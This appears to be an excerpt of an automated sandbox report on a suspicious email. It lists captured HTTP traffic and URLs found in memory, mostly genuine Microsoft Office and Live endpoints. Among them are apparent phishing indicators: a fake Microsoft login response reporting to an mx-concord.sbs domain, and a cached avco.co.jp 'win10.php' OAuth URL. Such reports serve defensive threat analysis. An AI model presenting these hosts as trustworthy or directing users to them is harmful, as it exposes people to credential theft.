Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 28 Aug 2024 20:22:16 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingppserver: PPV: 30 H: PH1PEPF00011F4B V: 0access-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 28 Aug 2024 20:22:21 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: privatep3p: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: f99ef205-3d4b-4a94-97d9-58accc42a400x-ms-ests-server: 2.1.18794.6 - SEC ProdSlicesreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://68bc0e6a-b128254c.mx-concord.sbs/api/report?catId=GW+estsfd+dub2"}]}nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.Preferrer-policy: strict-origin-when-cross-originaccess-control-allow-origin: access-control-allow-headers:

Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: http://b.c2r.ts.cdn.office.net/pr
Source: 57C8EDB95DF3F0AD4EE2DC2B8CFD4157.0.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glides
Source: HxAccounts.exe, 0000001B.00000002.2390368634.000002258FE51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://test-exp-s2s.msedge.net/ab/
Source: HxAccounts.exe, 0000001B.00000002.2390368634.000002258FE51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://test-exp-s2s.msedge.net/ab/780dddc8-18a1-5781-895a-a690464fa89c780dddc8-18a1-5781-895a-a69046
Source: HxAccounts.exe, 0000001B.00000002.2390368634.000002258FE51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://test-exp-s2s.msedge.net/ab/c780dddc8-18a1-5781-895a-a690464fa89chttps://config.edge.skype.net
Source: HxAccounts.exe, 0000001B.00000002.2390368634.000002258FE51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://test-exp-s2s.msedge.net/ab/https://config.edge.skype.com/config/v1/https://config.edge.skype.
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: http://weather.service.msn.com/data.aspx
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://addinsinstallation.store.office.com/app/acquisitionlogging
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://addinsinstallation.store.office.com/app/download
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/authenticated
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/preinstalled
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/unauthenticated
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://addinsinstallation.store.office.com/orgid/appinstall/authenticated
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://addinslicensing.store.office.com/apps/remove
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://addinslicensing.store.office.com/commerce/query
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://addinslicensing.store.office.com/entitlement/query
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://addinslicensing.store.office.com/orgid/apps/remove
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://addinslicensing.store.office.com/orgid/entitlement/query
Source: (No subject) (63).eml, ~WRS{889E11D4-A8A8-44AD-8352-E3CA2FCD8629}.tmp.0.dr	String found in binary or memory: https://aka.ms/LearnAboutSenderIdentification
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://analysis.windows.net/powerbi/api
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: (No subject) (63).eml	String found in binary or memory: https://api.=
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://api.aadrm.com
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://api.aadrm.com/
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://api.addins.omex.office.net/api/addins/search
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://api.addins.omex.office.net/appinfo/query
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://api.addins.omex.office.net/appstate/query
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://api.addins.store.office.com/addinstemplate
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://api.addins.store.office.com/app/query
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://api.addins.store.officeppe.com/addinstemplate
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://api.cortana.ai
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://api.diagnostics.office.com
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://api.diagnosticssdf.office.com
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://api.diagnosticssdf.office.com/v2/feedback
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://api.diagnosticssdf.office.com/v2/file
Source: (No subject) (63).eml	String found in binary or memory: https://api.emailinc.net/c.jsp?l=3D47tqd=
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://api.microsoftstream.com
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://api.microsoftstream.com/api/
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://api.office.net
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://api.officescripts.microsoftusercontent.com/api
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://api.onedrive.com
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://api.powerbi.com/beta/myorg/imports
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://api.scheduler.
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://apis.live.net/v5.0/
Source: HxAccounts.exe, 0000001B.00000002.2389866634.000002258FE2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.live.net/v5.0/P
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://apis.mobile.m365.svc.cloud.microsoft
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://app.powerbi.com
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://arc.msn.com/v4/api/selection
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://augloop.office.com
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://augloop.office.com/v2
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://augloop.office.com;https://augloop-int.officeppe.com;https://augloop-dogfood.officeppe.com;h
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://autodiscover-s.outlook.com/
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
Source: chromecache_132.14.dr	String found in binary or memory: https://avco.co.jp/vm/Oauth-vm-office-caller-api/win10.php
Source: HxAccounts.exe, 0000001B.00000002.2389052901.000002258FE00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://az804205.vo.msecnd.net/
Source: HxAccounts.exe, 0000001B.00000002.2389052901.000002258FE00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://az804205.vo.msecnd.net/f
Source: HxAccounts.exe, 0000001B.00000002.2389052901.000002258FE00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://az815563.vo.msecnd.net/
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://canary.designerapp.
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://cdn.designerapp.osi.office.net
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://cdn.designerapp.osi.office.net/designer-mobile
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://cdn.designerapp.osi.office.net/designerapp/fonts
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://cdn.designerapp.osi.office.net/designerapp/mobile-assets
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://cdn.designerapp.osi.office.net/designerapp/mobile-dynamic-strings
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://cdn.designerapp.osi.office.net/designerapp/mobile-home-screen
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://cdn.entity.
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://cdn.hubblecontent.osi.office.net/
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://cdn.int.designerapp.osi.office.net/fonts
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://client-office365-tas.msedge.net/ab
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://clients.config.office.net
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://clients.config.office.net/
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://clients.config.office.net/c2r/v1.0/DeltaAdvisory
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://clients.config.office.net/c2r/v1.0/InteractiveInstallation
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/ios
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/mac
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkey
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://cloudfiles.onenote.com/upload.aspx
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://config.edge.skype.com
Source: HxAccounts.exe, 0000001B.00000002.2390368634.000002258FE51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://config.edge.skype.com/config/v1/
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://config.edge.skype.com/config/v1/Office
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://config.edge.skype.com/config/v2/Office
Source: HxAccounts.exe, 0000001B.00000002.2390368634.000002258FE51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://config.edge.skype.net/config/v1/
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://consent.config.office.com/consentcheckin/v1.0/consents
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://consent.config.office.com/consentweb/v1.0/consents
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://cortana.ai
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://cortana.ai/api
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://cr.office.com
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://d.docs.live.net
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://dataservice.o365filtering.com
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://dataservice.o365filtering.com/
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://designerapp.azurewebsites.net
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://dev.cortana.ai
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://dev0-api.acompli.net/autodetect
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://devnull.onenote.com
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://directory.services.
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://ecs.office.com
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://ecs.office.com/config/v1/Designer
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://ecs.office.com/config/v2/Office
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://edge.skype.com/registrar/prod
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://edge.skype.com/rps
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://enrichment.osi.office.net/
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Refresh/v1
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Resolve/v1
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Search/v1
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/StockHistory/v1
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/ipcheck/v1
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/metadata.json
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/desktop/main.cshtml
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/web/main.cshtml
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://entitlement.diagnostics.office.com
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://entitlement.diagnosticssdf.office.com
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-android
Source: ~WRS{889E11D4-A8A8-44AD-8352-E3CA2FCD8629}.tmp.0.dr	String found in binary or memory: https://gcc02.safelinks.protection.outlook.com/?url=https%3A%2F%2Fapi.emailinc.net%2Fc.jsp%3Fl%3D47t
Source: (No subject) (63).eml	String found in binary or memory: https://gcc02.safelinks=
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://globaldisco.crm.dynamics.com
Source: chromecache_102.14.dr	String found in binary or memory: https://google.com
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://graph.ppe.windows.net
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://graph.ppe.windows.net/
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://graph.windows.net
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://graph.windows.net/
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/pivots/
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetry
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?secureurl=1
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons&premium=1
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages&premium=1
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockvideos&premium=1
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://ic3.teams.office.com
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://incidents.diagnostics.office.com
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://incidents.diagnosticssdf.office.com
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://inclient.store.office.com/gyro/client
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://inclient.store.office.com/gyro/clientstore
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebook
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://insertmedia.bing.office.net/odc/insertmedia
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://invites.office.com/
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/Getvoices
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://lifecycle.office.com
Source: HxAccounts.exe, 0000001B.00000002.2400968751.000002259778B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: HxAccounts.exe, 0000001B.00000002.2400968751.000002259778B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://login.microsoftonline.com
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://login.microsoftonline.com/
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://login.microsoftonline.com/organizations
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorize
Source: HxAccounts.exe, 0000001B.00000002.2400968751.000002259778B000.00000004.00000020.00020000.00000000.sdmp, 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://login.windows.local
Source: HxAccounts.exe, 0000001B.00000002.2400968751.000002259778B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.windows.local$
Source: HxAccounts.exe, 0000001B.00000002.2401342017.00000225977CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.windows.local.
Source: HxAccounts.exe, 0000001B.00000002.2400968751.000002259778B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.windows.local/
Source: HxAccounts.exe, 0000001B.00000002.2400968751.000002259778B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.windows.net/
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://login.windows.net/common/oauth2/authorize
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://lookup.onenote.com/lookup/geolocation/v1
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://make.powerautomate.com
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://management.azure.com
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://management.azure.com/
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://messagebroker.mobile.m365.svc.cloud.microsoft
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://messaging.action.office.com/
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://messaging.action.office.com/setcampaignaction
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://messaging.action.office.com/setuseraction16
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://messaging.engagement.office.com/
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://messaging.engagement.office.com/campaignmetadataaggregator
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://messaging.lifecycle.office.com/
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://messaging.lifecycle.office.com/getcustommessage16
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://messaging.office.com/
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://metadata.templates.cdn.office.net/client/log
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://my.microsoftpersonalcontent.com
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://ncus.contentsync.
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://ncus.pagecontentsync.
Source: HxAccounts.exe, 0000001B.00000002.2389401075.000002258FE13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nexus.officeapps.live.com?
Source: HxAccounts.exe, 0000001B.00000002.2389401075.000002258FE13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nexusrules.officeapps.live.com
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecord
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://ocos-office365-s2s.msedge.net/ab
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://ods-diagnostics-ppe.trafficmanager.net
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://officeapps.live.com
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://officeci.azurewebsites.net/api/
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://officepyservice.office.net/
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://officepyservice.office.net/service.functionality
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://officesetup.getmicrosoftkey.com
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://ogma.osi.office.net/TradukoApi/api/v1.0/
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentities
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentitiesupdated
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officesharedentities
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officesharedentitiesupdated
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://onedrive.live.com
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://onedrive.live.com/embed?
